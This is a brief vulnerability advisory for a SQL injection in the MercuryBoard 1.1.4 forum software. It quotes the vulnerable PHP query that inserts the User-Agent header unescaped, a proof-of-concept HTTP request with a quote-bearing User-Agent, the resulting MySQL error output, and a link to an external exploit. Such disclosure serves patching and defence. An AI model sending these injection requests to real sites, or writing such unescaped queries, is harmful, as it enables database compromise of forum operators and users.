MercuryBoard 1.1.4 SQL Injection
RST/GHC Advisory #28
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Product : MercuryBoard
Version : 1.1.4
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
FILE : index.php
VULN : SQL injection
CODE :
global.php
----------
71 : $this->agent = isset($_SERVER['HTTP_USER_AGENT']) ?
$_SERVER['HTTP_USER_AGENT'] : null;
index.php
---------
154 : $mercury->db->query("REPLACE INTO {$mercury->pre}active (active_id,
active_action, active_item, active_time,
active_ip, active_user_agent, active_session) VALUES
({$mercury->user['user_id']}, '{$mercury->get['a']}', $item,
$mercury->time, '$mercury->ip', '$mercury->agent',
'{$mercury->session['id']}')");
INFO :
-->--
GET /mercuryboard/ HTTP/1.1
User-Agent: 666'
Host: 127.0.0.1
--<--
...
You have an error in your SQL syntax. Check the manual that corresponds to your
MySQL server version for the right
syntax to use near 'aa3211413f374429d3830cd062b25b86')' at line 1
Query Error [1064]:
This type of error is reported by MySQL.
Query: REPLACE INTO mb_active (active_id, active_action, active_item,
active_time, active_ip, active_user_agent, active_session) VALUES (1, 'board',
0, 1116314234, '127.0.0.1', '666'', 'aa3211413f374429d3830cd062b25b86')
...
EXPLOIT:
http://rst.void.ru/download/r57mercury.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1dt.w0lf
RST/GHC
http://rst.void.ru
http://ghc.ru